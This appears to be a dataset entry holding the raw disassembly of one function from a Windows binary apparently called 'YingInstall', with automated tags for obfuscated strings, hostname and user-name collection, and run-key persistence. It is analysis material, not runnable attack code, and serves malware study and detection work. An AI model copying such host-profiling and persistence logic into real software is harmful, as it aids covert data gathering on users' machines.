Function at 0x408ec0
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get session user name
Persist via run registry key

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x461f60
push eax
mov eax, 0x237c
mov dword fs:[0], esp
call fcn.00447dd0
push ebx
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.00403090
add esp, 4
push eax
mov ecx, 0x4934e8
mov dword [esp + 0x2394], 0
call fcn.00422610
or esi, 0xffffffff
lea ecx, [esp + 0x10]
mov dword [esp + 0x2390], esi
call fcn.00422390
push str.YingInstall
lea ecx, [esp + 0x2c]
call fcn.00422640
lea ecx, [esp + 0x1c]
push 6
push ecx
mov dword [esp + 0x2398], 1
call fcn.00421980
add esp, 8
lea edx, [esp + 0x28]
push edx
push eax
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x239c], 2
call fcn.00402be0
push eax
mov ecx, 0x49378c
mov byte [esp + 0x2394], 3
call fcn.00422610
lea ecx, [esp + 0x10]
mov byte [esp + 0x2390], 2
call fcn.00422390
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2390], 1
call fcn.00422390
lea ecx, [esp + 0x28]
mov dword [esp + 0x2390], esi
call fcn.00422390
push 0x4934e8
mov ecx, 0x49378c
call fcn.00422a10
push str..xml
lea ecx, [esp + 0x2c]
call fcn.00422640
lea ecx, [esp + 0x28]
push ecx
mov ecx, 0x49378c
mov dword [esp + 0x2394], 4
call fcn.00422a10
lea ecx, [esp + 0x28]
mov dword [esp + 0x2390], esi
call fcn.00422390
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x49378c
call fcn.00422580
lea edx, [esp + 0x1c]
push edx
call fcn.004042f0
add esp, 0x10
mov dword [esp + 0x2390], 5
push eax
mov ecx, 0x49378c
call fcn.00422610
lea ecx, [esp + 0x10]
mov dword [esp + 0x2390], esi
call fcn.00422390
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x49378c
call fcn.00422580
mov ecx, 0x4935c4
call fcn.004230f0
call fcn.00402e90
mov edi, eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0xb44]
push ecx
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp edi, 3
je 0x40954f
cmp edi, 4
je 0x40954f
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x2c]
call fcn.0041f200
push 1
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x469cd8
mov dword [esp + 0x23a4], 0x10
call fcn.00422640
lea ecx, [esp + 0x38]
call fcn.0041f240
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push str.Common_AppData
call fcn.00422640
lea edx, [esp + 0x5c]
push edx
lea ecx, [esp + 0x38]
call fcn.0041f740
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0xf48]
mov bl, 0x11
push ecx
mov byte [esp + 0x2398], bl
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.MicrosoftInternet_ExplorerQuick_Launch_
lea ecx, [esp + 0x20]
call fcn.00422640
push 0x469a68
lea ecx, [esp + 0x48]
mov byte [esp + 0x2394], 0x12
call fcn.00422640
lea edx, [esp + 0x1c]
push edx
sub esp, 0xc
lea eax, [esp + 0x60]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
mov byte [esp + 0x23a4], 0x13
call fcn.00422580
lea ecx, [esp + 0x6c]
push ecx
call fcn.00403750
add esp, 0x10
push eax
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0xb4c]
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x23a0], 0x14
call fcn.004226f0
push eax
sub esp, 0xc
mov dword [esp + 0x28], esp
mov edi, esp
sub esp, 0xc
lea edx, [esp + 0x78]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
mov byte [esp + 0x23bc], 0x15
call fcn.00422580
push edi
call fcn.004035a0
lea eax, [esp + 0xc4]
add esp, 0x10
push eax
call fcn.00403690
add esp, 0x10
push eax
lea ecx, [esp + 0xd0]
push ecx
mov byte [esp + 0x23a8], 0x16
call fcn.00402be0
push eax
lea edx, [esp + 0x90]
push edx
mov byte [esp + 0x23a4], 0x17
call fcn.00402be0
push eax
lea eax, [esp + 0xb0]
push eax
mov byte [esp + 0x23a0], 0x18
call fcn.00402be0
push eax
lea ecx, [esp + 0x18]
push ecx
mov byte [esp + 0x239c], 0x19
call fcn.00402be0
push eax
mov ecx, 0x493768
mov byte [esp + 0x2394], 0x1a
call fcn.00422610
lea ecx, [esp + 0x10]
mov byte [esp + 0x2390], 0x19
call fcn.00422390
lea ecx, [esp + 0xa4]
mov byte [esp + 0x2390], 0x18
call fcn.00422390
lea ecx, [esp + 0x80]
mov byte [esp + 0x2390], 0x17
call fcn.00422390
lea ecx, [esp + 0xbc]
mov byte [esp + 0x2390], 0x16
call fcn.00422390
lea ecx, [esp + 0x98]
mov byte [esp + 0x2390], 0x15
call fcn.00422390
lea ecx, [esp + 0xb0]
mov byte [esp + 0x2390], 0x14
call fcn.00422390
lea ecx, [esp + 0x5c]
mov byte [esp + 0x2390], 0x13
call fcn.00422390
lea ecx, [esp + 0x44]
mov byte [esp + 0x2390], 0x12
call fcn.00422390
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2390], bl
call fcn.00422390
push str.MicrosoftInternet_ExplorerQuick_Launch_
lea ecx, [esp + 0x14]
call fcn.00422640
push 0x469a68
lea ecx, [esp + 0x48]
mov byte [esp + 0x2394], 0x1b
call fcn.00422640
push 0x469acc
lea ecx, [esp + 0x20]
mov byte [esp + 0x2394], 0x1c
call fcn.00422640
lea edx, [esp + 0x10]
push edx
sub esp, 0xc
lea eax, [esp + 0x60]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
mov byte [esp + 0x23a4], 0x1d
call fcn.00422580
lea ecx, [esp + 0x78]
push ecx
call fcn.00403750
add esp, 0x10
push eax
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0xf50]
push eax
lea ecx, [esp + 0x84]
mov byte [esp + 0x23a0], 0x1e
call fcn.004226f0
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0xb54]
push edx
lea ecx, [esp + 0xa4]
mov byte [esp + 0x23a8], 0x1f
call fcn.004226f0
push eax
sub esp, 0xc
mov dword [esp + 0x30], esp
mov edi, esp
sub esp, 0xc
lea eax, [esp + 0x80]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
mov byte [esp + 0x23c4], 0x20
call fcn.00422580
push edi
call fcn.004035a0
lea ecx, [esp + 0xfc]
add esp, 0x10
push ecx
call fcn.00403690
add esp, 0x10
push eax
lea edx, [esp + 0xc0]
push edx
mov byte [esp + 0x23b0], 0x21
call fcn.00402be0
push eax
lea eax, [esp + 0x98]
push eax
mov byte [esp + 0x23ac], 0x22
call fcn.00402be0
push eax
lea ecx, [esp + 0xd0]
push ecx
mov byte [esp + 0x23a8], 0x23
call fcn.00402be0
push eax
lea edx, [esp + 0xa8]
push edx
mov byte [esp + 0x23a4], 0x24
call fcn.00402be0
push eax
lea eax, [esp + 0xbc]
push eax
mov byte [esp + 0x23a0], 0x25
call fcn.00402be0
push eax
lea ecx, [esp + 0x64]
push ecx
mov byte [esp + 0x239c], 0x26
call fcn.00402be0
push eax
mov ecx, 0x493774
mov byte [esp + 0x2394], 0x27
call fcn.00422610
mov byte [esp + 0x2390], 0x26
lea ecx, [esp + 0x5c]
call fcn.00422390
lea ecx, [esp + 0xb0]
mov byte [esp + 0x2390], 0x25
call fcn.00422390
lea ecx, [esp + 0x98]
mov byte [esp + 0x2390], 0x24
call fcn.00422390
lea ecx, [esp + 0xbc]
mov byte [esp + 0x2390], 0x23
call fcn.00422390
lea ecx, [esp + 0x80]
mov byte [esp + 0x2390], 0x22
call fcn.00422390
lea ecx, [esp + 0xa4]
mov byte [esp + 0x2390], 0x21
call fcn.00422390
lea ecx, [esp + 0xc8]
mov byte [esp + 0x2390], 0x20
call fcn.00422390
lea ecx, [esp + 0x8c]
mov byte [esp + 0x2390], 0x1f
call fcn.00422390
lea ecx, [esp + 0x74]
mov byte [esp + 0x2390], 0x1e
call fcn.00422390
lea ecx, [esp + 0x68]
mov byte [esp + 0x2390], 0x1d
call fcn.00422390
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2390], 0x1c
call fcn.00422390
lea ecx, [esp + 0x44]
mov byte [esp + 0x2390], 0x1b
call fcn.00422390
lea ecx, [esp + 0x10]
mov byte [esp + 0x2390], bl
call fcn.00422390
lea ecx, [esp + 0x28]
call fcn.0041ef90
lea ecx, [esp + 0x50]
mov byte [esp + 0x2390], 0x10
call fcn.00422390
lea ecx, [esp + 0x28]
mov dword [esp + 0x2390], esi
call fcn.0041f220
jmp 0x409725
push str.Application_DataMicrosoftInternet_ExplorerQuick_Launch_
lea ecx, [esp + 0x14]
call fcn.00422640
lea edx, [esp + 0x74]
push 2
push edx
mov dword [esp + 0x2398], 6
call fcn.00421980
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
lea edx, [esp + 0x1c]
push edx
push eax
mov bl, 7
push ecx
mov byte [esp + 0x23a8], bl
call fcn.00402be0
lea eax, [esp + 0x74]
push eax
call fcn.004042f0
add esp, 0x10
push eax
mov ecx, 0x493768
mov byte [esp + 0x2394], 8
call fcn.00422610
lea ecx, [esp + 0x68]
mov byte [esp + 0x2390], bl
call fcn.00422390
lea ecx, [esp + 0x74]
mov byte [esp + 0x2390], 6
call fcn.00422390
lea ecx, [esp + 0x10]
mov dword [esp + 0x2390], esi
call fcn.00422390
push str.Application_DataMicrosoftInternet_ExplorerQuick_Launch_
lea ecx, [esp + 0x20]
call fcn.00422640
push str.Profiles_
lea ecx, [esp + 0x14]
mov dword [esp + 0x2394], 9
call fcn.00422640
lea ecx, [esp + 0xb40]
push ecx
lea ecx, [esp + 0x60]
mov byte [esp + 0x2394], 0xa
call fcn.004226f0
mov edi, eax
lea edx, [esp + 0xc8]
push 2
push edx
mov byte [esp + 0x2398], 0xb
call fcn.00421980
add esp, 8
lea ecx, [esp + 0x10]
push ecx
push eax
lea edx, [esp + 0x94]
push edx
mov byte [esp + 0x239c], 0xc
call fcn.00402be0
push edi
push eax
lea eax, [esp + 0x7c]
push eax
mov byte [esp + 0x239c], 0xd
call fcn.00402be0
sub esp, 0xc
mov bl, 0xe
mov byte [esp + 0x239c], bl
mov ecx, esp
mov dword [esp + 0x18], esp
lea edx, [esp + 0x28]
push edx
push eax
push ecx
call fcn.00402be0
lea eax, [esp + 0x74]
push eax
call fcn.004042f0
add esp, 0x10
push eax
mov ecx, 0x493774
mov byte [esp + 0x2394], 0xf
call fcn.00422610
lea ecx, [esp + 0x68]
mov byte [esp + 0x2390], bl
call fcn.00422390
lea ecx, [esp + 0x74]
mov byte [esp + 0x2390], 0xd
call fcn.00422390
lea ecx, [esp + 0x8c]
mov byte [esp + 0x2390], 0xc
call fcn.00422390
lea ecx, [esp + 0xc8]
mov byte [esp + 0x2390], 0xb
call fcn.00422390
lea ecx, [esp + 0x5c]
mov byte [esp + 0x2390], 0xa
call fcn.00422390
lea ecx, [esp + 0x10]
mov byte [esp + 0x2390], 9
call fcn.00422390
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2390], esi
call fcn.00422390
lea ecx, [esp + 0x310]
call fcn.00414690
push 0x104
lea ecx, [esp + 0x120]
push ecx
push 0
mov dword [esp + 0x239c], 0x28
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x11c]
push edx
mov ecx, 0x4935b8
call fcn.00422860
push 0
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x4935b8
call fcn.00422580
lea ecx, [esp + 0x320]
call fcn.00414b20
test al, al
lea ecx, [esp + 0x310]
jne 0x4097b5
mov dword [esp + 0x2390], esi
call fcn.00414ac0
xor al, al
mov ecx, dword [esp + 0x2388]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x2388
ret
lea eax, [esp + 0x114]
push eax
push 0
call fcn.004147a0
sub eax, 0x58
sbb edx, 0
push edx
push eax
lea ecx, [esp + 0x320]
call fcn.00414870
lea ecx, [esp + 0xec]
push ecx
push 0x58
push 0x488030
lea ecx, [esp + 0x31c]
call fcn.004148c0
push 0
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x4935b8
call fcn.00422580
mov ecx, 0x488138
call fcn.00415210
test al, al
je 0x409a0f
push 0
mov ecx, 0x488138
call fcn.00414ff0
mov edx, dword [0x48807c]
mov eax, dword [0x488078]
mov ecx, dword [0x488074]
push 0
push 0
push edx
mov edx, dword [0x488070]
push eax
push ecx
push edx
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x30], esp
push 0x49378c
call fcn.00422580
mov ecx, 0x488138
call fcn.00415a20
push 1
mov ecx, 0x488138
call fcn.00414ff0
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x49378c
call fcn.00422580
mov ecx, 0x493500
call fcn.0041aea0
test al, al
je 0x409a0f
push 0x13
push 4
sub esp, 0xc
mov eax, esp
mov dword [esp + 0x20], esp
push 0
push eax
call fcn.0040d380
add esp, 8
lea ecx, [esp + 0x24]
push ecx
mov ecx, 0x493500
call fcn.0041a530
mov edx, dword [esp + 0x14]
push edx
call fcn.00447151
add esp, 4
lea ecx, [esp + 0x10]
mov edi, eax
call fcn.00422390
mov eax, edi
cdq
mov dword [0x488078], eax
mov eax, dword [0x4935a8]
push eax
push 9
push 2
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x14
push ecx
mov dword [0x48807c], edx
call fcn.0040d380
add esp, 8
mov ecx, 0x493500
call fcn.0041a6a0
mov edx, dword [0x4935a4]
push edx
push 0xa
push 3
sub esp, 0xc
mov eax, esp
mov dword [esp + 0x24], esp
push 0x14
push eax
call fcn.0040d380
add esp, 8
mov ecx, 0x493500
call fcn.0041a6a0
mov eax, dword [0x4935a8]
cmp dword [eax + 0x10], 0
jle 0x409bdc
mov eax, dword [eax + 0xc]
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.00422580
lea ecx, [esp + 0x1354]
call fcn.00416dd0
lea ecx, [esp + 0x1348]
mov byte [esp + 0x2390], 0x29
call fcn.004165c0
push edx
push eax
mov ecx, 0x488138
call fcn.00414fb0
sub esp, 0xc
mov ecx, esp
mov dword [esp + 0x18], esp
push ecx
lea ecx, [esp + 0x1358]
call fcn.00416590
lea edx, [esp + 0x44]
push edx
call fcn.00404ae0
add esp, 0x10
push 0
push 0
lea ecx, [esp + 0x1350]
mov byte [esp + 0x2398], 0x2a
call fcn.004165d0
push edx
push eax
lea ecx, [esp + 0x1358]
call fcn.004165c0
push edx
push eax
sub esp, 0xc
lea eax, [esp + 0x5c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00422580
mov ecx, 0x488138
call fcn.00415a20
test al, al
jne 0x409a22
lea ecx, [esp + 0x38]
mov byte [esp + 0x2390], 0x29
call fcn.00422390
lea ecx, [esp + 0x1348]
mov byte [esp + 0x2390], 0x28
call fcn.00415ea0
mov dword [esp + 0x2390], esi
lea ecx, [esp + 0x310]
jmp 0x409796
sub esp, 0xc
lea edx, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.00422580
mov ecx, 0x4935c4
call fcn.004230f0
sub esp, 0xc
lea eax, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.00422580
mov ecx, 0x4935e4
call fcn.0041c570
lea ecx, [esp + 0x38]
push ecx
mov ecx, 0x49375c
call fcn.00422610
push 0x12
push 4
sub esp, 0xc
mov edx, esp
mov dword [esp + 0x20], esp
push 0
push edx
call fcn.0040d380
add esp, 8
lea eax, [esp + 0xf4]
push eax
mov ecx, 0x493500
call fcn.0041a530
mov bl, 0x2b
push 0x469ad8
lea ecx, [esp + 0xd8]
mov byte [esp + 0x2394], bl
call fcn.00422640
lea ecx, [esp + 0xfc]
push ecx
mov ecx, 0x493500
mov byte [esp + 0x2394], 0x2c
call fcn.004197f0
lea edx, [esp + 0xd4]
push edx
push eax
lea eax, [esp + 0x110]
push eax
mov byte [esp + 0x239c], 0x2d
call fcn.00402be0
lea ecx, [esp + 0xe0]
push ecx
push eax
lea edx, [esp + 0xf8]
push edx
mov byte [esp + 0x239c], 0x2e
call fcn.00402be0
lea ecx, [esp + 0x108]
mov byte [esp + 0x2390], 0x30
call fcn.00422390
lea ecx, [esp + 0xfc]
mov byte [esp + 0x2390], 0x31
call fcn.00422390
lea ecx, [esp + 0xd4]
mov byte [esp + 0x2390], 0x32
call fcn.00422390
sub esp, 0xc
lea eax, [esp + 0xfc]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.00422580
push 0x13
mov ecx, 0x4935e4
call fcn.0041c3f0
lea ecx, [esp + 0xf0]
mov byte [esp + 0x2390], bl
call fcn.00422390
lea ecx, [esp + 0xe0]
mov byte [esp + 0x2390], 0x2a
call fcn.00422390
lea ecx, [esp + 0x38]
mov byte [esp + 0x2390], 0x29
call fcn.00422390
lea ecx, [esp + 0x1348]
mov byte [esp + 0x2390], 0x28
call fcn.00415ea0
lea ecx, [esp + 0x310]
mov dword [esp + 0x2390], esi
call fcn.00414ac0
mov ecx, dword [esp + 0x2388]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x2388
ret
jmp fcn.0042bba0